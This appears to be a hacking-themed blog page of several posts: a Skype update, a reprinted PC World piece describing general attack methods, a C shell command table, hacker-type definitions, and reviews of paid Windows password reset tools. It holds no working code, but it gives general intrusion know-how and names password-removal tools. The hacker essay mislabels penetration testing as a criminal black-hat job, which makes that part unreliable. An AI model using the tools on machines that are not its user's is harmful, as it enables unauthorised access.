Skype updated to 3.0 for iPhone and adds video calling

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfHl_yGzx92ERYZZM61Wvgoxzt50ZjmyIWGJwU7zpQEK7pXODFwihA426oSq2M2PdrKWZmxyQ9EXTyJWHHn8iPqYhl3YkRKPDISiRQuZv1gRKBIofTlLJzYVFRQiSL_YGFwLmoO298o7I/s1600/skype.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="skype.jpg" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfHl_yGzx92ERYZZM61Wvgoxzt50ZjmyIWGJwU7zpQEK7pXODFwihA426oSq2M2PdrKWZmxyQ9EXTyJWHHn8iPqYhl3YkRKPDISiRQuZv1gRKBIofTlLJzYVFRQiSL_YGFwLmoO298o7I/s1600/skype.jpg" /></a></div><br />In a move that's sure to make users stand up and say "Hallelujah," the latest update to the <a href="http://itunes.apple.com/us/app/skype/id304878510?mt=8#">Skype app for iPhone</a> finally adds video calling.<br /><br />The newest version of the app will allow users to make video Skype to Skype calls from their iPhone via Wi-Fi and 3G, and also call Skype desktop users on both OS X and Windows (and we presume their sorely neglected Linux users), as well as those using Skype on their iPhones and iPads.<br /><br />Naturally, if you're on an iPad, you won't get to send video back -- and you have to deal with the iPhone interface since there isn't a native Skype app for the iPad. But, <a href="http://prohackingtricks.blogspot.com/search/label/iPad%202">iPad 2</a> could change that. If the new hardware is released with a camera, Skype will be ready for it, and hopefully with an iPad-optimized app as well.<br /><br />So, have fun with video chatting via Skype and let us know what you think of it in the comments!<br /><br />Source: <a href="http://itunes.apple.com/us/app/skype/id304878510?mt=8#">Itunes</a>

Skype updated to 3.0 for iPhone and adds video calling

In a move that's sure to make users stand up and say "Hallelujah," the latest update to the Skype app for iPhone finally adds...

Read more »

The tricks hackers use, and what you can do to foil them.

<div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">I was going through an article at pc world and came across this. Please tech geeks looking for how hackers hack, here you are. I bring this piece of writing by Kim & Zetter to enlighten your mindset. </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">The tricks hackers use, and what you can do to foil them.<br /><br /><b>Kim Zetter and Andrew Brandt, PCWorld.com</b><br /><br />With the click of a mouse on one computer, the screen of the laptop a few feet away flashes wildly as a flood of data flies silently across a private network cable connecting the two machines. Within a minute the laptop's file sharing password is compromised.<br /><br />"The computer is having a bad day," says a reporter as he watches the effect of the attack on his machine. "Packets are coming at it so fast, the firewall doesn't know what to do."<br /><br />Some hackers claim they can teach a monkey how to hack in a couple of hours. We asked two hackers, Syke and Optyx (at their request, we are using their hacking pseudonyms rather than their real names), to give us non-simian reporters a demonstration.<br /><br />What we got was a sometimes-frightening view of how easily nearly anyone's computer--at home or at work, protected or not--can be cracked by a determined hacker. But we also found out that computer users can make a hacker's job much harder by avoiding a few common mistakes.<br /><br />Syke, a 23-year-old white-hat hacker, and Optyx, a 19-year-old self-proclaimed black hat, both work in computer security (Syke, until recently, for a well-known security software vendor; Optyx for an application service provider).<br /><br />They launch their attack on our notebook from desktop computers located in the windowless basement that is New Hack City, a sort of hacker research-and-development lab (and part-time party lounge).<br /><br />The lab's rooms are filled with over a dozen Sun SPARC servers, assorted network hubs and mountains of ethernet cable, an arcade-size Ms. Pac Man game, and a DJ tower stocked with music-mixing equipment for all-night hacker jams.</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /><span style="font-size: large;"><b>Hacking 101</b></span><br /><br />"You should understand," says Optyx, as he enters a few commands that bring our machine to its knees, "no matter what people do, hackers will always find a way to get into systems."<br /><br />Just as he says this, Optyx uses a program to get the laptop to spew out a bit of data identifying its operating system and version.<br /><br />He then runs the program that cracked the file sharing password in the blink of an eye. We watch as he uses another tool to root through files in the laptop's shared directory.<br /><br />As hacking goes, the methods our two instructors use on our laptop are not very elegant--the equivalent of using brute force to knock in a door--and through the machine's software firewall, we are immediately aware that the machine is being hacked. But, save from disconnecting our machine from the network cable, we're powerless to stop it.<br /><br />Most hacking attacks, however, are much more invisible.<br /><b> </b></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Open Sesame</b><br /><br />The methods hackers use to attack your machine or network are fairly simple. A hacker scans for vulnerable systems by using a demon dialer (which will redial a number repeatedly until a connection is made) or a wardialer (an application that uses a modem to dial thousands of random phone numbers to find another modem connected to a computer).<br /><br />Another approach used to target computers with persistent connections, such as DSL or cable connections, employs a scanner program that sequentially "pings" IP addresses of networked systems to see if the system is up and running.<br /><br /><b>Where can a hacker find such tools? On the Internet, of course.</b><br /><br />Sites containing dozens of free, relatively easy-to-use hacking tools available for download are easy to find on the Net. While understanding how these tools work is not always easy, many files include homegrown documentation written in hacker shoptalk.<br /><br />Among the programs available are scanning utilities that reveal the vulnerabilities on a computer or network and sniffing programs that let hackers spy on data passing between machines.<br /><br />Hackers also use the Net to share lists of vulnerable IP addresses--the unique location of Internet-connected computers with unpatched security holes. Addresses of computers that have already been loaded with a Trojan horse are available for anyone to exploit (in many cases without the owner of the computer knowing).<br /><br />Once the hacker finds a machine, he uses a hacker tool such as Whisker to identify in less than a second what operating system the machine is using and whether any unpatched holes exist in it. Whisker, one of a handful of legitimate tools used by system administrators to test the security of their systems, also provides a list of exploits the hacker can use to take advantage of these holes.</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><b>Security Software Alone Can't Stop Them</b></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Syke and Optyx explain that several conditions make it easier for them to hack into a system. Lax security is one of them--such as when a company uses no passwords on its system or fails to change Windows' default passwords.<br /><br />In October 2000 hackers broke into Microsoft's system and viewed source code for the latest versions of Windows and Office after discovering a default password that an employee never bothered to change.<br /><br />Other common mistakes: When system administrators don't update software with security patches, they leave vulnerable ports open to attack. Or when they install expensive intrusion detection systems, some fail to monitor the alarms that warn them when an intruder is breaking in.<br /><br />Still another boon to hackers is a firewall or router that is misconfigured, allowing hackers to "sniff" pieces of data--passwords, e-mail, or files--that pass through the network.<br /><b> </b></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Got Root?</b><br /><br />Once a hacker cracks into a system, his next goal is to get root, or give himself the highest level of access on the machine. The hacker can use little-known commands to get root, or can search the documents in the system's hard drive for a file or e-mail message that contains the system administrator's password.<br /><br />Armed with root access, he can create legitimate-looking user accounts and log in whenever he wants without attracting attention. He can also alter or delete system logs to erase any evidence (such as command lines) that he gained access to the system.<br /><br />But a hacker doesn't need root access to affect a system. He can misroute traffic intended to go to one company's Web server to a different one. Or, exploiting a well-documented bug (for which there's a patch that many sites haven't applied), a hacker can replace any Web page with his own text using a simple set of UNIX commands typed into the browser's Address bar.</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /><b>Denying Service</b><br /><br />A more serious threat, however, comes from skilled hackers who launch a denial-of-service attack, in which a Web server is flooded with so many requests that it stops responding altogether.<br /><br />Previously one of the most common attacks, DoS attacks are now much harder to accomplish. Large Internet companies counter them by buying larger Internet pipes, which are harder to fill with the junk data hackers throw at them. The more bandwidth a company has, the more service the hacker needs to interrupt in order to produce a noticeable effect.<br /><br />Hackers quickly learned that a single computer couldn't send enough phony requests to deny service, so they came up with a clever approach that employs dozens of hacked computers, working in synch to execute a distributed denial-of-service attack.<br /><br />A DDoS attack uses as many computers as the hacker can control (called "zombies") to send bogus data requests to a targeted server. To unleash the attack, the hacker sends just one command, which propagates to all of the zombies and causes a near-instantaneous death-by-data on the Web server.<br /><br />A hacker can also use an army of compromised computers to steal data--such as credit card numbers and proprietary corporate files--without leaving a clear trail. The hacker hops from machine to machine and then launches an attack that passes through all of them, creating a maze of connections for authorities to sift through.<br /><br />University systems are prime targets for such activity, since administrators often leave student accounts active after students have graduated. A hacker can take over the account and use it as a base to attack another system.<br /><br />In December 2000 hackers broke into a U.S. Air Force system in Virginia and downloaded code for controlling communication and spy satellites to a computer in Sweden. The Swedish company that owned the system housing the data had no idea hackers were using its computer, and cooperated with authorities.<br /><br />From Sweden the activity was traced to a university machine in Germany, which authorities also believe was being used by a distant hacker.<br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Online Espionage</b><br /><br />Hackers can silently collect information from a machine for months without being detected. Using a Trojan horse, a hacker can log keystrokes on a computer (to obtain a user's passwords) or use a "sniffing" program to collect sensitive data as it passes from one computer to another.<br /><br />Sniffer software is a bit like a radio in that it simply listens for traffic to pass by it on the network wire. Sniffers are undetectable by the user and (usually) by the system administrator.<br /><b> </b></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><span style="font-size: large;"><b>Nowhere to Hide</b></span><br /><br />It might seem that, with all the ways hackers can get into your system, there's no safe place for your data to hide. Optyx would agree--to a point.<br /><br />Casually typing commands on his keyboard that sends our laptop into further frenzy, Optyx says that simply running antivirus software alone, or having a firewall or intrusion detection system, won't prevent the theft of data or hacking of your computer.<br /><br />"If people hack your machine," continues Optyx, "they hack it through a vulnerability."<br /><br />He recommends that, in addition to using the above tools, every user install the latest security patches on their critical software, including the operating system and the applications they regularly use. "The only way to protect yourself is to patch up the holes," he says.<br /><br /><i><b>Kim Zetter and Andrew Brandt are PC World senior associate editors who cover security and privacy issues.</b></i></span></div>

The tricks hackers use, and what you can do to foil them.

I was going through an article at pc world and came across this. Please tech geeks looking for how hackers hack, here you are. I bring this ...

Read more »

Shell Command Library - Linux Unix

<span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;"> <b>Definition of Shell Command. (Shell Command Glossary</b> <br /></span> <br /><ul><li><span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;">Built-in shell commands are part of a shell. </span></li><li><span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;">Each shell (e.g., C Shell, Bourne Shell and Korn Shell) has a set of commands built into its program. </span></li><li><span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;">Shell commands vary from one shell to another, but the commands within each shell stay the same across Linux / Unix distributions and variants. </span></li><li><span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;">To find out the usage of a shell command in the currently active shell on your computer, you can use the man command. </span></li></ul><span style="color: black; font-family: verdana,geneva,helvetica; font-size: small;"><b>Also Known As:</b> Built-in Shell Command</span><br /><br /><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Important Note:</b> Shell commands may vary in syntax and usage from one type of shell to another. The shell command library here is provided as general references. Use the man command to see how a command is used in a particular shell.<br /><br /><span style="color: red; font-size: large;">C Shell Commands and What They Do</span><br /><br /><b>The C shell provides the following built-in commands:</b></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /></span></div><table align="center" border="1" cellpadding="5" cellspacing="0" style="font-family: "Trebuchet MS",sans-serif;"><tbody><tr align="left" valign="top"><td><span style="font-size: small;"><i><b># </b></i></span></td> <td><span style="font-size: small;">Marks a command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>alias </b></i></span></td> <td><span style="font-size: small;">Displays alias.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>bg </b></i></span></td> <td><span style="font-size: small;">Resumes job in the background.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>break </b></i></span></td> <td><span style="font-size: small;">Resumes execution after the loop. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>breaksw </b></i></span></td> <td><span style="font-size: small;">Breaks from a switch command; resumes after the endsw command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>case</b></i></span></td> <td><span style="font-size: small;"> Defines a label in a switch command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>cd</b></i></span></td> <td><span style="font-size: small;"> Changes directory.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>chdir </b></i></span></td> <td><span style="font-size: small;">Changes directory, same as <i>cd</i>.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>continue </b></i></span></td> <td><span style="font-size: small;">Continues a loop.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>default </b></i></span></td> <td><span style="font-size: small;">Specifies the default case in a switch.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>dirs </b></i></span></td> <td><span style="font-size: small;">Displays the directory stack.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>echo </b></i></span></td> <td><span style="font-size: small;">Writes arguments to the standard output of the shell. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>eval </b></i></span></td> <td><span style="font-size: small;">Evaluates a command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>exec </b></i></span></td> <td><span style="font-size: small;">Executes the command in the current shell. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>exit </b></i></span></td> <td><span style="font-size: small;">Exits the shell.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>fg </b></i></span></td> <td><span style="font-size: small;">Brings a job in the foreground.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>foreach </b></i></span></td> <td><span style="font-size: small;">Specifies a looping control statement and execute a sequence of commands until reaching an end command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>glob </b></i></span></td> <td><span style="font-size: small;">Writes arguments to the standard output of the shell, like the echo command, but without the new line.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>goto </b></i></span></td> <td><span style="font-size: small;">Continues execution after the specified label.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>hashstat </b></i></span></td> <td><span style="font-size: small;">Displays hash table statistics. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>history </b></i></span></td> <td><span style="font-size: small;">Displays the history list. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>if </b></i></span></td> <td><span style="font-size: small;">Executes a command if condition met. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>jobs </b></i></span></td> <td><span style="font-size: small;">Lists active jobs.</span></td></tr></tbody></table><table align="center" border="1" cellpadding="5" cellspacing="0" style="font-family: "Trebuchet MS",sans-serif;"><tbody><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b> kill </b></i></span></td> <td><span style="font-size: small;">Sends a signal to a process. <i>term</i> (terminate) is the default signal. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>limit </b></i></span></td> <td><span style="font-size: small;">Sets or list system resource limits.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>login </b></i></span></td> <td><span style="font-size: small;">Logs on.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>logout </b></i></span></td> <td><span style="font-size: small;">Logs out.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>nice </b></i></span></td> <td><span style="font-size: small;">Changes the priority of commands run in the shell.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>nohup </b></i></span></td> <td><span style="font-size: small;">Ignores the hangup signal.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>notify </b></i></span></td> <td><span style="font-size: small;">Notifies the user about changes in job status.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>onintr </b></i></span></td> <td><span style="font-size: small;">Tells the shell what to do on interrupt.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>popd </b></i></span></td> <td><span style="font-size: small;">Pops the top directory off the directory stack and changes to the new top directory. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>pushd </b></i></span></td> <td><span style="font-size: small;">Exchanges the top two elements of the directory stack. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>rehash </b></i></span></td> <td><span style="font-size: small;">Re-computes the hash table of the contents of the directories in the path shell variable.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>repeat </b></i></span></td> <td><span style="font-size: small;">Repeats the execution of a command.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>set </b></i></span></td> <td><span style="font-size: small;">Displays or set the value of a shell variable.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>setenv </b></i></span></td> <td><span style="font-size: small;">Sets environment variables.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>shift </b></i></span></td> <td><span style="font-size: small;">Shifts shell arguments.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>source </b></i></span></td> <td><span style="font-size: small;">Reads commands from a script. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>stop </b></i></span></td> <td><span style="font-size: small;">Stops a background job.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>suspend </b></i></span></td> <td><span style="font-size: small;">Stops the current shell.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>switch </b></i></span></td> <td><span style="font-size: small;">Starts a switch.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>time </b></i></span></td> <td><span style="font-size: small;">Displays the time used to execute commands. </span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>umask </b></i></span></td> <td><span style="font-size: small;">Shows or set file permissions.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>unalias </b></i></span></td> <td><span style="font-size: small;">Removes command alias.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>unhash </b></i></span></td> <td><span style="font-size: small;">Disables the internal hash table.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>unlimit </b></i></span></td> <td><span style="font-size: small;">Removes limitations on system Resource.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>unset </b></i></span></td> <td><span style="font-size: small;">Deletes shell variables.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>unsetenv </b></i></span></td> <td><span style="font-size: small;">Deletes environment variables.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>wait </b></i></span></td> <td><span style="font-size: small;">Waits for background jobs to complete.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>while …end </b></i></span></td> <td><span style="font-size: small;">Executes the commands between the while and matching end statements repeatedly.</span></td> </tr><tr align="left" valign="top"> <td><span style="font-size: small;"><i><b>@ </b></i></span></td> <td><span style="font-size: small;">Displays or set the values of all the shell variables.</span></td></tr></tbody></table>

Shell Command Library - Linux Unix

Definition of Shell Command. (Shell Command Glossary Built-in shell commands are part of a shell. Each shell (e.g., C Shell, ...

Read more »

A Pro Definition of 'Hacker'? Is that the same as a 'hax0r'?

<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibyOhrDhGJ8EDQhZgmKYM6Xiu7vraJSmiRR48oQ4E17tV4zbeSt9bg9w5jEKF20mgsiX53llnEP8pKLMQL2irKV3g9MeYoUAay5GDzt36sB3HTri0vyFvt1zffFFDx43jnhGsW7Z9Rmu0/s320/hacker2.png" width="298" /></div><br /><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Question:</b> What is a 'Hacker'? Is that the same as a 'hax0r'?</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br />You've heard of "hackers", and you've seen sensationalized versions of hackers in movies. But what exactly is a hacker? And are they the same as "haxors"?</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /><b>Answer:</b> A hacker is a computer user who, for either negative or positive motivations, will manipulate and break into computer systems. You will see the "hacker" term spelled creatively in different ways, such as "haxor", "Hax0r", and "H4X0R", all of which mean the same thing.<br /><br /><b>Originally, a hacker of the 1980's was strictly evil and dishonest:</b> a criminal who would illegally and unethically take control of computers and networks. And indeed, that criminal definition still applies today in the 21st century. However, the term hacker has also broadened to include non-criminal computer users. Today, "hacker" encompasses "black hat", "white hat", and "grey hat" computer users:<br /><br /><b>There are 3 modern types of hackers:</b><br /><br /><b>   1. Black Hats:</b> Criminal Hackers. Common job: Penetration Tester.<br /><b>   2. White Hats:</b> Ethical Hackers. Common job: Network Security Specialist.<br /><b>   3. Grey Hats: </b>Deals in both of the above (jack of all trades, master of none). <br /><b><br />1) Classic "Black Hat" Hackers = Criminals/Lawbreakers</b><br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">This is the classic definition of a hacker: a computer user who willfully seeks to vandalize or commit theft on other people's networks. This classic hacker is also known as a "black hat hacker" because of his malicious motivations. Black hats are gifted but unethical computer users who are motivated by feelings of power and petty revenge. They are electronic thugs, in every sense of the word, and share the same personality traits as punk teens who smash bus stop windows for personal satisfaction.<br /><br /><b>Black hat hackers are renowned for the following common cybercrimes:</b><br /> </span></div><ul style="font-family: "Trebuchet MS",sans-serif;"><li><span style="font-size: small;">DOS/DDOS attacks that overload Internet servers.Defacing websites by hijacking control and replacing the main page photos with rude slogans. (see example <a href="http://www.zone-h.org/news/id/4733">here</a>)</span></li><li><span style="font-size: small;">Performing identity theft by stealing private information of individuals.</span></li><li><span style="font-size: small;">Botnetting: taking remote control of dozens of personal computers, and programming them to "zombie" as spam broadcasters. </span></li></ul><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>2) White Hat "Ethical Hackers" = Network Security Specialists</b><br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Different from the classic black hat hackers, white hat hackers have honorable, or at least benign, motivations. A white hat "ethical hacker" is a talented computer security user employed to help protect computer networks. These white hats are not unlike former convicts who take on work as store security guards. While they themselves may not be completely ethical, their vocation is considered white hat. Ethical hackers are usually motivated by a steady paycheck. It is not surprising to see ethical hackers spending those paychecks on very expensive personal computers in their personal lives, so they can play online games after work. As long as they have a good-paying job to support their personal habits, an ethical hacker is usually not motivated to destroy nor steal from their employer.<br /><br /><b>Related: White Hat "Academic Hackers" = Creative Computer Artists</b><br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Another kind of white hat is the "academic hacker": a computer artisan who is not interested in protecting systems, but rather in creating clever programs and beautiful interfaces. If you are an academic hacker, for example, you will take existing programmatic code, and improve upon it through clever alterations and additions. "Academic hacking" is about obsessively innovating computer code so that it becomes more beautiful or more efficient as a program. Academic hackers, in general, are harmless and do not seek to hurt other people's networks. Academic white hats are often graduate students in computer programming.<br /><br /><b>3) Grey Hat Hackers = Uncertain which side of the law to stand for.</b><br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Grey hats are often "hobby hackers": users with basic or intermediate tech skills who like to disassemble and modify their own computers for hobby pleasure, and who also dabble in minor white collar crimes, like file-sharing movies or cracking software. Yes, millions of p2p downloaders are hobby hackers. And indeed, if you have ever modified your router and firewall to allow faster p2p downloads, you could describe yourself as a "grey hat" hobby hacker. Gratefully, only a small percentage of hobby hackers ever escalate into becoming serious black hat hackers.<br /><br /><b>Question: are you a white hat or grey hat hobby hacker?</b><br /><br /><b>Answer:</b> if you obsessively tinker with your computer hardware and software, the answer is yes, you are a white hat hobby hacker. If you obsessively tinker and you like to dabble in breaking software locks and music copyright, then you are a grey hat hobby hacker. In 2010, this connotation is not a negative thing.</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /></span></div>

A Pro Definition of 'Hacker'? Is that the same as a 'hax0r'?

Question: What is a 'Hacker'? Is that the same as a 'hax0r'? You've heard of "hackers", and you've seen s...

Read more »

Top 3 Premium Windows Password Recovery Tools

<div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Realizing that you've forgotten your Windows password is guaranteed to strike panic in anyone. Luckily, there are several programs and services that can help "hack" into your own Windows PC!<br /><br />Important: Please read my <a href="http://prohackingtricks.blogspot.com/2010/12/thing-you-must-know-about-windows.html">Windows Password Recovery Programs FAQ</a> before you pay for any Windows password cracking program.<br /><br />Below are the top 3 premium Windows password recovery tools available today.<br /><br /><b><a href="http://www.password-changer.com/">1. Active Password Changer Professional</a></b></span></div><a href="http://www.password-changer.com/"><img alt="Active Password Changer Professional" border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRIj0ArlIqWYeE6-LIsFbhxkO62P23K7T5Put48qgkxbx2Kbbusn81QPwLXX-9SL7Hj2KT4yguLFOkFfFs1W2H2T2LwPLlC8-jKTPWWeky2VDDcHwZi3WOlQs7BjtrFyCRlROX6OOMKd4/s320/Active-Password-Changer_fv3c.gif" width="320" /></a><span style="font-size: small;"> </span><br /><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Active Password Changer Professional is the best premium password recovery program I've tested. It's very easy to setup and use, making it an appropriate password hacking tool for even the most novice of computer users.<br /><br />Like other programs listed here, Active Password Changer Professional deletes passwords - it does not recover them. The end result is the same though - you get access to your computer again!<br /><br />In a test on a Windows XP PC, Active Password Changer Professional deleted the 10-character password to my user account instantly. Active Password Changer Professional supports Windows 7, Windows Vista, Windows Server 2008 & 2003, and Windows XP.<br /><br />Active Password Changer Professional is currently priced at $49.95 USD.<br /><br /><b><a href="http://www.resetwindowspassword.com/"> 2. Windows Password Reset</a></b><br /><a href="http://www.resetwindowspassword.com/"><img border="0" height="177" src="http://0.tqn.com/d/pcsupport/1/0/L/6/-/-/windows-password-reset-v6.jpg" width="320" /></a><br />Like many of these password programs, Windows Password Reset does not actually recover the password but instead removes it.<br /><br />Windows Password Reset does not have a fancy user interface but the program was very easy to burn to a CD using the included image burning software and was even easier to use.<br /><br />I tested Windows Password Reset v6.0 using their demonstration version which verified compatibility with my computer but did not actually reset the password. I'm working on a review with the full version of the program.<br /><br />Windows Password Reset supports Windows Vista, Windows Server 2008 & 2003, Windows XP, Windows 2000, and Windows NT.<br /><br />Windows Password Reset is currently priced at $19.95 USD.</span><br /><div style="text-align: right;"><span style="font-size: small;"><a href="http://pcsupport.about.com/gi/o.htm?zi=1/XJ&zTi=1&sdn=pcsupport&cdn=compute&tm=2016&f=00&su=p284.9.336.ip_p504.1.336.ip_&tt=3&bt=1&bts=0&st=10&zu=http%3A//www.resetwindowspassword.com/"> Purchase Windows Password Reset v6.0</a></span></div><span style="font-size: small;"> <br /><b><a href="http://www.loginrecovery.com/">3. Login Recovery</a></b><br />Summary coming soon...<br /><br />The software used by Login Recovery supports Windows 7, Windows Vista, Windows Server 2008 & 2003, Windows XP, Windows 2000, and Windows NT.<br /><br />The Login Recovery service is currently priced at $34.50 USD per use. <a href="http://www.loginrecovery.com/">Purchase the Login Recovery Service</a></span><br /><span style="font-size: small;"><br />Windows Password Recovery Tools Aren't Necessary if You're Proactive!<br /><br />These Windows password recovery tools really come in handy when you need them but there's a much easier way to access your account if you forget your password - create a password reset disk!</span><br /><span style="font-size: small;"><br /></span><br /><span style="font-size: small;">Please if you feel I've omitted a list that is important pls do use the comment to below to add it.</span></div>

Top 3 Premium Windows Password Recovery Tools

Realizing that you've forgotten your Windows password is guaranteed to strike panic in anyone. Luckily, there are several programs and s...

Read more »

Thing You Must Know About Windows Password Recovery Programs

<span style="font-size: small;"><span style="font-family: "Trebuchet MS",sans-serif;">Forgetting the password to your Windows account is a common issue and "hacking" into your own PC isn't something many people often do so it's no wonder I get so many inquiries about the process.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">I put together this FAQ to help answer some of the more common questions I receive about Windows password tools.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"Are the premium Windows password recovery tools better than the free ones?"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">No, not necessarily. I call the premium programs "premium" simply to call out the fact that they charge some kind of fee, not that they're necessarily better than any of the free choices.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">In fact, I absolutely do not recommend that you purchase any premium Windows password recovery tool unless you've tried and been unsuccessful with the three highest rated free programs - Ophcrack, Offline NT Password & Registry Editor, and PC Login Now.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"Are these Windows password recovery programs the only way to get back into Windows if I forgot my password?"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">No, there are other ways, but these programs are probably the most successful at getting you back in.</span><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><b><span style="font-family: "Trebuchet MS",sans-serif;">"Will the [abc] Windows password recovery tool recovery any password?"</span></b><br style="font-family: "Trebuchet MS",sans-serif;" /><br style="font-family: "Trebuchet MS",sans-serif;" /><span style="font-family: "Trebuchet MS",sans-serif;">It depends.</span><br 